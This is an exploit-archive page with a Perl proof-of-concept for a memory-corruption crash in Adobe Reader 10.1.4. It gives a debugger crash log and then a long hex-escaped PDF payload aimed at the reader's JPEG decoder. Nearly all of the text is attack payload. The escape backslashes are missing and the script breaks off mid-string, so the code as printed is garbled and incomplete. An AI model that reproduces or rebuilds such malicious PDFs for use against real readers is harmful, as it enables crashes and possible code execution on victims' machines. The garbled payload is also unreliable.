[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Adobe Reader 10.1.4 Crash PoC
# Published : 2012-10-22
# Author :
# Previous Title : Arctic Torrent 1.2.3 Memory Corruption (DoS)
# Next Title : SafeNet Sentinel Keys Server Crash PoC


#!/usr/bin/perl
#Title    :  Adobe reader 10.1.4 memory corruption
#Version  :  10.1.4.38
#Date     :  2012-10-21
#Vendor   :  http://www.adobe.com/
#Impact   :  High
#Contact  :  coolkaveh [at] rocketmail.com
#Twitter  :  @coolkaveh
#tested   :  XP SP3 ENG
#Author   :  coolkaveh
#######################################################################################################
#Bug :
#----
#Memory corruption during the handling of the pdf files a context-dependent attacker can execute
#arbitrary code.
#######################################################################################################
#(5b4.1a4): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=01abf4a4 
#ebx=5f2c23ec 
#ecx=01abf4a5 
#edx=01b650c0 
#esi=01abf4a6 
#edi=0012d240
#eip=6013aab8 
#esp=0012d0f0 
#ebp=0012d2b4 iopl=0         nv up ei pl nz na po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
#*** ERROR: Symbol file could not be found.  
#Defaulted to export symbols for C:Program FilesAdobeReader 10.0ReaderAcroRd32.dll - 
#AcroRd32!CTJPEGDecoderCreate+0x1ea8:
#6013aab8 660f6f0c13      
#movdqa  xmm1,xmmword ptr [ebx+edx] ds:0023:60e274ac=0817d5ee08184798081848c10817d567
#######################################################################################################
my $poc = 
"x25x50x44x46x2Dx31x2Ex35x0Dx0Ax25xB5xB5xB5xB5x0Dx0Ax31x20x30x20x6Fx62x6Ax0D".
"x0Ax3Cx3Cx2Fx54x79x70x65x2Fx43x61x74x61x6Cx6Fx67x2Fx50x61x67x65x73x20x32x20".
"x30x20x52x2Fx4Cx61x6Ex67x28x65x6Ex2Dx55x53x29x20x2Fx53x74x72x75x63x74x54x72".
"x65x65x52x6Fx6Fx74x20x34x39x20x30x20x52x2Fx4Dx61x72x6Bx49x6Ex66x6Fx3Cx3Cx2F".
"x4Dx61x72x6Bx65x64x20x74x72x75x65x3Ex3Ex3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0A".
"x32x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx54x79x70x65x2Fx50x61x67x65x73x2Fx43x6F".
"x75x6Ex74x20x33x2Fx4Bx69x64x73x5Bx20x33x20x30x20x52x20x32x33x20x30x20x52x20".
"x33x33x20x30x20x52x5Dx20x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax33x20x30x20x6F".
"x62x6Ax0Dx0Ax3Cx3Cx2Fx54x79x70x65x2Fx50x61x67x65x2Fx50x61x72x65x6Ex74x20x32".
"x20x30x20x52x2Fx52x65x73x6Fx75x72x63x65x73x3Cx3Cx2Fx50x61x74x74x65x72x6Ex3C".
"x3Cx2Fx50x38x20x38x20x30x20x52x3Ex3Ex2Fx46x6Fx6Ex74x3Cx3Cx2Fx46x31x20x39x20".
"x30x20x52x2Fx46x32x20x31x32x20x30x20x52x2Fx46x33x20x31x37x20x30x20x52x3Ex3E".
"x2Fx50x72x6Fx63x53x65x74x5Bx2Fx50x44x46x2Fx54x65x78x74x2Fx49x6Dx61x67x65x42".
"x2Fx49x6Dx61x67x65x43x2Fx49x6Dx61x67x65x49x5Dx20x3Ex3Ex2Fx41x6Ex6Ex6Fx74x73".
"x5Bx20x31x31x20x30x20x52x20x32x32x20x30x20x52x5Dx20x2Fx4Dx65x64x69x61x42x6F".
"x78x5Bx20x30x20x30x20x37x32x30x20x35x34x30x5Dx20x2Fx43x6Fx6Ex74x65x6Ex74x73".
"x20x34x20x30x20x52x2Fx47x72x6Fx75x70x3Cx3Cx2Fx54x79x70x65x2Fx47x72x6Fx75x70".
"x2Fx53x2Fx54x72x61x6Ex73x70x61x72x65x6Ex63x79x2Fx43x53x2Fx44x65x76x69x63x65".
"x52x47x42x3Ex3Ex2Fx54x61x62x73x2Fx53x2Fx53x74x72x75x63x74x50x61x72x65x6Ex74".
"x73x20x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax34x20x30x20x6Fx62x6Ax0Dx0Ax3C".
"x3Cx2Fx46x69x6Cx74x65x72x2Fx46x6Cx61x74x65x44x65x63x6Fx64x65x2Fx4Cx65x6Ex67".
"x74x68x20x38x38x35x3Ex3Ex0Dx0Ax73x74x72x65x61x6Dx0Dx0Ax78x9Cx8Dx56x4Bx6ExDB".
"x48x10xDDx13xE0x1Dx7AxD9x0CxE0x66xF5xBFx39x10x88x44x1Fx07x33x40x10x27x16x30".
"x0Bx39x0Bx41x61x6Cx21x96xE4x48x1Cx07x39xD5xCCx1DxE6x62xA9xA6x4Cx86x4Dx51x54".
"x16xFCx15x59xAFxAAx5Ex55x3Fx36x49x6FxC8x68x94xBEx9BxFCx39x25x90xE7x64x3Cx9D".
"x90x6Fx71x04x04x18x00x70x21xC0x12x2Bx80x68x05x64x5FxC4xD1xDFxAFxC8x36x8ExD2".
"x9Bx65x59x16xFBx2Dx59x1Dx48x7AxE3xC8x61xB5x6Dx7Cx00x0Cx07x15x38x7Dx79x15x47".
"x1FxE2x88xCCxDEx4Dx08x69x05xE4x2Fx01xC7x73x84xBCxE6x44x66x2Cx33x64xFEx25x8E".
"x38x41x34xC2x89x00x60x52x13x95x09x66x2Cx99x6Fx7Cx94x7Bx7Fx7Ax1Bx47x0BxFAxE6".
"x7Bx92xD1xE2xB0xDBx14x24xF9x44xE6x7FxC5xD1x0Cx91x3Cx5AxEDx2Fx4DxC6xA4x6AxFB".
"x2FxE8x0Ax9Dx76xBBxE4x4AxD0xC7xAFx89xE0x74x99x70x4Bx9Fx13xCEx69xF1x70x06x46".
"x4BxCExACx08x61xCEx85x14x99x65x0ExBFx55xEAxD7xB7xCBxCFxCFxEBxC3x6Ex9Fx5Cx29".
"xFAxE3x9Cx9Fx52x92x09x17xFAx75xBFxADx49x72x2Ax60x49x1Ax8Dx36x7Cx63x98xD1x3D".
"xAEx27xC4x8Bx2ExF1x82x41x08xC9x35xF8x34xA4x43xFExDDx91x78xA6xA5xADxC8xAFx6E".
"xAAx06xDCx24xDCxD1x62x5Bx94x89xA2xFBx84x67xC8xA5xA5xE5x3Ax91x74xB7x25x78x2E".
"x13x2ExB1x41x09x17xB4x24xEBx03xD9xF8x6Fx06x18x00x66x4Dx3BxE6x82x7Ex4DxA4xA1".
"x05xA2xFExC0xE3x50x20x85x9Ax3ExAFx57xC5xB9x46x59xCDx94x08x21x7Ax98xB8x7Dx5A".
"x6Ex1Bx32x64x0Fx19xA6xC3x86x93x4CxE2x1BxA9x98xA8xC7xD0xDBxF7xF7xF5xDDxC7xB7".
"xC7xD1x72x38x5Ax7ExACxC0x8Fx95xF6x63x05x38x56xAFxF7xFEx61xB7xC2x6Ax54x55x4D".
"xB9x41x76x96xEBx47x86xC4x55x4Ex9BxA1x76xA9x56x86x4DxA5x0Ax67x51x05x29xF5x34".
"xA8x5DxFBxAFx94x7Dx39x22x43x5FxF0x53x8DxAEx12x24x03x5Dx1Bx1ExE3x48x09xC1x1C".
"x6Fx19x7Cx38x6Dx7Bx0CxC2x31xE3xDAx2Ex8DxA1x06x6Dx0Cx75xD8xC6xF0x70x94x86x93".
"x7Ax75xD0x11xD1x37x9ExCAx30x9Dx11xE1x2CxCBx74x58xFDx62x04xD2x8Ex41xAAx29x5E".
"x67xFExC8xAFxC4x08x04x4CxF3x9ExC5x74x82x2Cx20x63xCAxB6x91x17xF4xBFx93x65xD8".
"x97x13x6AxA5x6Fx45xDBxD3xA7x32x01xA9x1Dx5ExDFxBCx5CxC7xA8x90x32xBFxE2x7Ax84".
"xFAxAAx73x37x02xE5xAExFDx51xA5x09xF2x3Ax1Fx98x04xD3x33x09x52x1BxE6x4Cx27xAE".
"x18xDBx21x1Cx7Bx51x00xA4xC5xC1x0Ax51xE9xFFx43x43xEAx2Ex36x4DxA2x7CxDAx93x44".
"x33x31x94x68xD6x53xB0xE2xC0x78x17x47x39xE4x55x4Cx8FxE4xAAx97x19x08x88x9Fx0C".
"xC5xE1x70x91x11x8Dx93xD1x09x1Bx4CxC6x29x26xEFx5BxB7xBCxFAxC9x05x28xFFxDEx25".
"x77x49x17x29x9Dx2FxEFx6FxFFx39x3Cx15xABxD2x23xB6x9ExD2xF7xFBxCFxC5x7ExBDxBD".
"x27x79xEExE1x83x98xA1xB4xCBxBEx3Ax34x67x59xB7x0BxB3xD9x09x3Bx27xE5xC8x8Bx1D".
"xD6x46x7AxF9xEDx2Ex81xF1x20xF3xEAx32xF3x36xF3x72x1Ex70x76x49xD5xB9xEEx21x9F".
"x5BxC9x2CxAEx54xD4x2ExCEx07x74xFCxC1x4BxB4xDFx16x94x4Fx7FxA0x42xA7x69xF9x7D".
"x5DxFAx7FxD7xF1x87x86x6Ax0Ex9CxB2xA3x70xA7xFEx1FxB8x42x07xBFxA7x90xD5x9Ex42".
"x04xE2x3Fx38x22x7Dx0Bx5Ax6Bx51x95xDBxCAxF2xF7xA5x1Dx2Bx34xD8x5DxE9x98x36x5E".
"xDAx45x96x31xD7x18x2Ax9Dx36x0CxDAx06x1Fx4ExF4x1Ax50x63x45xE0x52x1Bx1AxD0xDA".
"xD0x84xADx0DxE7xA4x9DxDBx3Ex05x33xC2xEFx5Fx38xEEx5FxA0x53x70x4FxA3x7Fx02xCB".
"x4Fx30xEEx0Dx0Ax65x6Ex64x73x74x72x65x61x6Dx0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35".
"x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x75x6Ex63x74x69x6Fx6Ex54x79x70x65x20x33".
"x2Fx44x6Fx6Dx61x69x6Ex5Bx20x30x20x31x5Dx20x2Fx45x6Ex63x6Fx64x65x5Bx20x31x20".
"x30x20x31x20x30x5Dx20x2Fx42x6Fx75x6Ex64x73x5Bx20x30x2Ex35x5Dx20x2Fx46x75x6E".
"x63x74x69x6Fx6Ex73x5Bx20x36x20x30x20x52x20x37x20x30x20x52x5Dx20x3Ex3Ex0Dx0A".
"x65x6Ex64x6Fx62x6Ax0Dx0Ax36x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x75x6Ex63x74".
"x69x6Fx6Ex54x79x70x65x20x32x2Fx44x6Fx6Dx61x69x6Ex5Bx20x30x20x31x5Dx20x2Fx43".
"x31x5Bx20x30x2Ex36x30x33x39x32x20x30x2Ex37x30x39x38x20x30x2Ex38x39x34x31x32".
"x5Dx20x2Fx43x30x5Bx20x30x2Ex37x36x30x37x38x20x30x2Ex38x31x39x36x31x20x30x2E".
"x39x32x39x34x31x5Dx20x2Fx4Ex20x31x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x20".
"x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x75x6Ex63x74x69x6Fx6Ex54x79x70x65x20x32x2F".
"x44x6Fx6Dx61x69x6Ex5Bx20x30x20x31x5Dx20x2Fx43x31x5Bx20x30x2Ex37x36x30x37x38".
"x20x30x2Ex38x31x39x36x31x20x30x2Ex39x32x39x34x31x5Dx20x2Fx43x30x5Bx20x30x2E".
"x38x38x32x33x35x20x30x2Ex39x30x39x38x20x30x2Ex39x36x30x37x38x5Dx20x2Fx4Ex20".
"x31x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax38x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2F".
"x50x61x74x74x65x72x6Ex54x79x70x65x20x32x2Fx53x68x61x64x69x6Ex67x3Cx3Cx2Fx43".
"x6Fx6Cx6Fx72x53x70x61x63x65x2Fx44x65x76x69x63x65x52x47x42x2Fx53x68x61x64x69".
"x6Ex67x54x79x70x65x20x32x2Fx43x6Fx6Fx72x64x73x5Bx20x33x36x30x20x35x34x30x20".
"x33x36x30x20x30x2Ex30x30x30x31x38x33x31x31x5Dx20x2Fx45x78x74x65x6Ex64x5Bx20".
"x74x72x75x65x20x74x72x75x65x5Dx20x2Fx46x75x6Ex63x74x69x6Fx6Ex20x35x20x30x20".
"x52x3Ex3Ex3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax39x20x30x20x6Fx62x6Ax0Dx0Ax3C".
"x3Cx2Fx54x79x70x65x2Fx46x6Fx6Ex74x2Fx53x75x62x74x79x70x65x2Fx54x72x75x65x54".
"x79x70x65x2Fx4Ex61x6Dx65x2Fx46x31x2Fx42x61x73x65x46x6Fx6Ex74x2Fx41x42x43x44".
"x45x45x2Bx43x61x6Cx69x62x72x69x2Fx45x6Ex63x6Fx64x69x6Ex67x2Fx57x69x6Ex41x6E".
"x73x69x45x6Ex63x6Fx64x69x6Ex67x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72".
"x20x31x30x20x30x20x52x2Fx46x69x72x73x74x43x68x61x72x20x33x32x2Fx4Cx61x73x74".
"x43x68x61x72x20x31x39x35x2Fx57x69x64x74x68x73x20x31x30x37x20x30x20x52x3Ex3E".
"x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x30x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75".
"x62x74x79x70x65x2Fx4Cx69x6Ex6Bx2Fx52x65x63x74x5Bx20x31x38x33x2Ex33x31x20x33".
"x32x35x2Ex36x33x20x35x34x32x2Ex36x34x20x33x36x34x2Ex37x38x5Dx20x2Fx42x53x3C".
"x3Cx2Fx57x20x30x3Ex3Ex2Fx46x20x34x2Fx41x3Cx3Cx2Fx54x79x70x65x2Fx41x63x74x69".
"x6Fx6Ex2Fx53x2Fx55x52x49x2Fx55x52x49x28x6Dx61x69x6Cx74x6Fx3Ax63x6Fx6Fx6Cx6B".
"x61x76x65x68x40x72x6Fx63x6Bx65x74x6Dx61x69x6Cx2Ex63x6Fx6Dx29x20x3Ex3Ex2Fx53".
"x74x72x75x63x74x50x61x72x65x6Ex74x20x31x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0A".
"x31x32x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx54x79x70x65x2Fx46x6Fx6Ex74x2Fx53x75".
"x62x74x79x70x65x2Fx54x79x70x65x30x2Fx42x61x73x65x46x6Fx6Ex74x2Fx41x42x43x44".
"x45x45x2Bx43x61x6Cx69x62x72x69x2Fx45x6Ex63x6Fx64x69x6Ex67x2Fx49x64x65x6Ex74".
"x69x74x79x2Dx48x2Fx44x65x73x63x65x6Ex64x61x6Ex74x46x6Fx6Ex74x73x20x31x33x20".
"x30x20x52x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x31x30x34x20x30x20x52x3Ex3Ex0Dx0A".
"x65x6Ex64x6Fx62x6Ax0Dx0Ax31x33x20x30x20x6Fx62x6Ax0Dx0Ax5Bx20x31x34x20x30x20".
"x52x5Dx20x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x34x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C".
"x2Fx42x61x73x65x46x6Fx6Ex74x2Fx41x42x43x44x45x45x2Bx43x61x6Cx69x62x72x69x2F".
"x53x75x62x74x79x70x65x2Fx43x49x44x46x6Fx6Ex74x54x79x70x65x32x2Fx54x79x70x65".
"x2Fx46x6Fx6Ex74x2Fx43x49x44x54x6Fx47x49x44x4Dx61x70x2Fx49x64x65x6Ex74x69x74".
"x79x2Fx44x57x20x31x30x30x30x2Fx43x49x44x53x79x73x74x65x6Dx49x6Ex66x6Fx20x31".
"x35x20x30x20x52x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72x20x31x36x20x30".
"x20x52x2Fx57x20x31x30x36x20x30x20x52x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31".
"x35x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx4Fx72x64x65x72x69x6Ex67x28x49x64x65x6E".
"x74x69x74x79x29x20x2Fx52x65x67x69x73x74x72x79x28x41x64x6Fx62x65x29x20x2Fx53".
"x75x70x70x6Cx65x6Dx65x6Ex74x20x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x36".
"x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72".
"x69x70x74x6Fx72x2Fx46x6Fx6Ex74x4Ex61x6Dx65x2Fx41x42x43x44x45x45x2Bx43x61x6C".
"x69x62x72x69x2Fx46x6Cx61x67x73x20x33x32x2Fx49x74x61x6Cx69x63x41x6Ex67x6Cx65".
"x20x30x2Fx41x73x63x65x6Ex74x20x37x35x30x2Fx44x65x73x63x65x6Ex74x20x2Dx32x35".
"x30x2Fx43x61x70x48x65x69x67x68x74x20x37x35x30x2Fx41x76x67x57x69x64x74x68x20".
"x35x32x31x2Fx4Dx61x78x57x69x64x74x68x20x31x37x34x33x2Fx46x6Fx6Ex74x57x65x69".
"x67x68x74x20x34x30x30x2Fx58x48x65x69x67x68x74x20x32x35x30x2Fx53x74x65x6Dx56".
"x20x35x32x2Fx46x6Fx6Ex74x42x42x6Fx78x5Bx20x2Dx35x30x33x20x2Dx32x35x30x20x31".
"x32x34x30x20x37x35x30x5Dx20x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20x31x30x35x20x30".
"x20x52x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x37x20x30x20x6Fx62x6Ax0Dx0Ax3C".
"x3Cx2Fx54x79x70x65x2Fx46x6Fx6Ex74x2Fx53x75x62x74x79x70x65x2Fx54x79x70x65x30".
"x2Fx42x61x73x65x46x6Fx6Ex74x2Fx41x72x69x61x6Cx2Fx45x6Ex63x6Fx64x69x6Ex67x2F".
"x49x64x65x6Ex74x69x74x79x2Dx48x2Fx44x65x73x63x65x6Ex64x61x6Ex74x46x6Fx6Ex74".
"x73x20x31x38x20x30x20x52x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x31x30x38x20x30x20".
"x52x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x38x20x30x20x6Fx62x6Ax0Dx0Ax5Bx20".
"x31x39x20x30x20x52x5Dx20x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x39x20x30x20x6Fx62".
"x6Ax0Dx0Ax3Cx3Cx2Fx42x61x73x65x46x6Fx6Ex74x2Fx41x72x69x61x6Cx2Fx53x75x62x74".
"x79x70x65x2Fx43x49x44x46x6Fx6Ex74x54x79x70x65x32x2Fx54x79x70x65x2Fx46x6Fx6E".
"x74x2Fx43x49x44x54x6Fx47x49x44x4Dx61x70x2Fx49x64x65x6Ex74x69x74x79x2Fx44x57".
"x20x31x30x30x30x2Fx43x49x44x53x79x73x74x65x6Dx49x6Ex66x6Fx20x32x30x20x30x20".
"x52x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72x20x32x31x20x30x20x52x2Fx57".
"x20x31x31x30x20x30x20x52x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x30x20x30x20".
"x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx4Fx72x64x65x72x69x6Ex67x28x49x64x65x6Ex74x69x74x79".
"x29x20x2Fx52x65x67x69x73x74x72x79x28x41x64x6Fx62x65x29x20x2Fx53x75x70x70x6C".
"x65x6Dx65x6Ex74x20x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x31x20x30x20x6F".
"x62x6Ax0Dx0Ax3Cx3Cx2Fx54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74x6F".
"x72x2Fx46x6Fx6Ex74x4Ex61x6Dx65x2Fx41x72x69x61x6Cx2Fx46x6Cx61x67x73x20x33x32".
"x2Fx49x74x61x6Cx69x63x41x6Ex67x6Cx65x20x30x2Fx41x73x63x65x6Ex74x20x39x30x35".
"x2Fx44x65x73x63x65x6Ex74x20x2Dx32x31x30x2Fx43x61x70x48x65x69x67x68x74x20x37".
"x32x38x2Fx41x76x67x57x69x64x74x68x20x34x34x31x2Fx4Dx61x78x57x69x64x74x68x20".
"x32x36x36x35x2Fx46x6Fx6Ex74x57x65x69x67x68x74x20x34x30x30x2Fx58x48x65x69x67".
"x68x74x20x32x35x30x2Fx4Cx65x61x64x69x6Ex67x20x33x33x2Fx53x74x65x6Dx56x20x34".
"x34x2Fx46x6Fx6Ex74x42x42x6Fx78x5Bx20x2Dx36x36x35x20x2Dx32x31x30x20x32x30x30".
"x30x20x37x32x38x5Dx20x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20x31x30x39x20x30x20x52".
"x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x32x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2F".
"x53x75x62x74x79x70x65x2Fx4Cx69x6Ex6Bx2Fx52x65x63x74x5Bx20x31x37x33x2Ex37x31".
"x20x32x33x33x2Ex34x35x20x35x35x32x2Ex33x38x20x32x37x32x2Ex35x39x5Dx20x2Fx42".
"x53x3Cx3Cx2Fx57x20x30x3Ex3Ex2Fx46x20x34x2Fx41x3Cx3Cx2Fx54x79x70x65x2Fx41x63".
"x74x69x6Fx6Ex2Fx53x2Fx55x52x49x2Fx55x52x49x28x68x74x74x70x3Ax2Fx2Fx74x77x69".
"x74x74x65x72x2Ex63x6Fx6Dx2Fx63x6Fx6Fx6Cx6Bx61x76x65x68x29x20x3Ex3Ex2Fx53x74".
"x72x75x63x74x50x61x72x65x6Ex74x20x32x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32".
"x33x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx54x79x70x65x2Fx50x61x67x65x2Fx50x61x72".
"x65x6Ex74x20x32x20x30x20x52x2Fx52x65x73x6Fx75x72x63x65x73x3Cx3Cx2Fx50x61x74".
"x74x65x72x6Ex3Cx3Cx2Fx50x33x31x20x33x31x20x30x20x52x3Ex3Ex2Fx58x4Fx62x6Ax65".
"x63x74x3Cx3Cx2Fx49x6Dx61x67x65x33x32x20x33x32x20x30x20x52x3Ex3Ex2Fx50x72x6F".
"x63x53x65x74x5Bx2Fx50x44x46x2Fx54x65x78x74x2Fx49x6Dx61x67x65x42x2Fx49x6Dx61".
"x67x65x43x2Fx49x6Dx61x67x65x49x5Dx20x3Ex3Ex2Fx4Dx65x64x69x61x42x6Fx78x5Bx20".
"x30x20x30x20x37x32x30x20x35x34x30x5Dx20x2Fx43x6Fx6Ex74x65x6Ex74x73x20x32x34".
"x20x30x20x52x2Fx47x72x6Fx75x70x3Cx3Cx2Fx54x79x70x65x2Fx47x72x6Fx75x70x2Fx53".
"x2Fx54x72x61x6Ex73x70x61x72x65x6Ex63x79x2Fx43x53x2Fx44x65x76x69x63x65x52x47".
"x42x3Ex3Ex2Fx54x61x62x73x2Fx53x2Fx53x74x72x75x63x74x50x61x72x65x6Ex74x73x20".
"x33x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x34x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C".
"x2Fx46x69x6Cx74x65x72x2Fx46x6Cx61x74x65x44x65x63x6Fx64x65x2Fx4Cx65x6Ex67x74".
"x68x20x31x34x38x3Ex3Ex0Dx0Ax73x74x72x65x61x6Dx0Dx0Ax78x9Cx6DxCEx3Dx0Bx83x30".
"x14x85xE1x3Dx90xFFx70x66xA1xCDx49xBCx1Ax07x71xA8x76x70x10xECxD4x59xC4x3Ax99".
"x52xF5xFFx53xA1xDFxD0xFDxBExF7x39x30x2DxF2xDCx34x65x5Dx81x45x81x43x55xE2xA6".
"x15xC1x3Dx49xEBx1Cx3DxBCx23x12x21xE6x41xABx73x84xA0x95x69xBBx75x1DxE6x80x7E".
"x81x69x63x8BxA5x0FxEFx88x4Cx2DxE5xA7xBAx44x5Ax9DxB4xC2xB1x29x81x2FxD1x7ExC4".
"xDDxB3xA5x4FxE3xC7x1Fx27x62xE5x0Fx9ExA4x82x8Dx82x30x83xCFx60xB7x83x7ExDAx36".
"xD5x53x37x0ExB1x43x75xC5xCBxBAx03x69xAEx2Ex59x0Dx0Ax65x6Ex64x73x74x72x65x61".
"x6Dx0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x35x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46".
"x75x6Ex63x74x69x6Fx6Ex54x79x70x65x20x33x2Fx44x6Fx6Dx61x69x6Ex5Bx20x30x20x31".
"x5Dx20x2Fx45x6Ex63x6Fx64x65x5Bx20x31x20x30x20x31x20x30x20x31x20x30x20x31x20".
"x30x20x31x20x30x5Dx20x2Fx42x6Fx75x6Ex64x73x5Bx20x30x2Ex32x20x30x2Ex35x20x30".
"x2Ex37x35x20x30x2Ex38x39x39x39x39x5Dx20x2Fx46x75x6Ex63x74x69x6Fx6Ex73x5Bx20".
"x32x36x20x30x20x52x20x32x37x20x30x20x52x20x32x38x20x30x20x52x20x32x39x20x30".
"x20x52x20x33x30x20x30x20x52x5Dx20x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x36".
"x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x75x6Ex63x74x69x6Fx6Ex54x79x70x65x20x32".
"x2Fx44x6Fx6Dx61x69x6Ex5Bx20x30x20x31x5Dx20x2Fx43x31x5Bx20x30x20x30x20x30x5D".
"x20x2Fx43x30x5Bx20x30x20x30x20x30x2Ex32x35x30x39x38x5Dx20x2Fx4Ex20x31x3Ex3E".
"x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x37x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x75".
"x6Ex63x74x69x6Fx6Ex54x79x70x65x20x32x2Fx44x6Fx6Dx61x69x6Ex5Bx20x30x20x31x5D".
"x20x2Fx43x31x5Bx20x30x20x30x20x30x2Ex32x35x30x39x38x5Dx20x2Fx43x30x5Bx20x30".
"x2Ex32x35x30x39x38x20x30x20x30x2Ex32x35x30x39x38x5Dx20x2Fx4Ex20x31x3Ex3Ex0D".
"x0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x38x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x75x6E".
"x63x74x69x6Fx6Ex54x79x70x65x20x32x2Fx44x6Fx6Dx61x69x6Ex5Bx20x30x20x31x5Dx20".
"x2Fx43x31x5Bx20x30x2Ex32x35x30x39x38x20x30x20x30x2Ex32x35x30x39x38x5Dx20x2F".
"x43x30x5Bx20x30x2Ex35x36x30x37x38x20x30x20x30x2Ex32x35x30x39x38x5Dx20x2Fx4E".
"x20x31x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax32x39x20x30x20x6Fx62x6Ax0Dx0Ax3C".
"x3Cx2Fx46x75x6Ex63x74x69x6Fx6Ex54x79x70x65x20x32x2Fx44x6Fx6Dx61x69x6Ex5Bx20".
"x30x20x31x5Dx20x2Fx43x31x5Bx20x30x2Ex35x36x30x37x38x20x30x20x30x2Ex32x35x30".
"x39x38x5Dx20x2Fx43x30x5Bx20x30x2Ex39x34x39x30x32x20x30x2Ex34x35x30x39x38x20".
"x30x5Dx20x2Fx4Ex20x31x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax33x30x20x30x20x6F".
"x62x6Ax0Dx0Ax3Cx3Cx2Fx46x75x6Ex63x74x69x6Fx6Ex54x79x70x65x20x32x2Fx44x6Fx6D".
"x61x69x6Ex5Bx20x30x20x31x5Dx20x2Fx43x31x5Bx20x30x2Ex39x34x39x30x32x20x30x2E".
"x34x35x30x39x38x20x30x5Dx20x2Fx43x30x5Bx20x31x20x30x2Ex37x34x39x30x32x20x30".
"x5Dx20x2Fx4Ex20x31x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax33x31x20x30x20x6Fx62".
"x6Ax0Dx0Ax3Cx3Cx2Fx50x61x74x74x65x72x6Ex54x79x70x65x20x32x2Fx53x68x61x64x69".
"x6Ex67x3Cx3Cx2Fx43x6Fx6Cx6Fx72x53x70x61x63x65x2Fx44x65x76x69x63x65x52x47x42".
"x2Fx53x68x61x64x69x6Ex67x54x79x70x65x20x32x2Fx43x6Fx6Fx72x64x73x5Bx20x33x36".
"x30x20x35x34x30x20x33x36x30x20x30x2Ex30x30x30x31x38x33x31x31x5Dx20x2Fx45x78".
"x74x65x6Ex64x5Bx20x74x72x75x65x20x74x72x75x65x5Dx20x2Fx46x75x6Ex63x74x69x6F".
"x6Ex20x32x35x20x30x20x52x3Ex3Ex3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax33x32x20".
"x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx54x79x70x65x2Fx58x4Fx62x6Ax65x63x74x2Fx53x75".
"x62x74x79x70x65x2Fx49x6Dx61x67x65x2Fx57x69x64x74x68x20x35x30x30x2Fx48x65x69".
"x67x68x74x20x33x31x33x2Fx43x6Fx6Cx6Fx72x53x70x61x63x65x2Fx44x65x76x69x63x65".
"x52x47x42x2Fx42x69x74x73x50x65x72x43x6Fx6Dx70x6Fx6Ex65x6Ex74x20x38x2Fx46x69".
"x6Cx74x65x72x2Fx44x43x54x44x65x63x6Fx64x65x2Fx49x6Ex74x65x72x70x6Fx6Cx61x74".
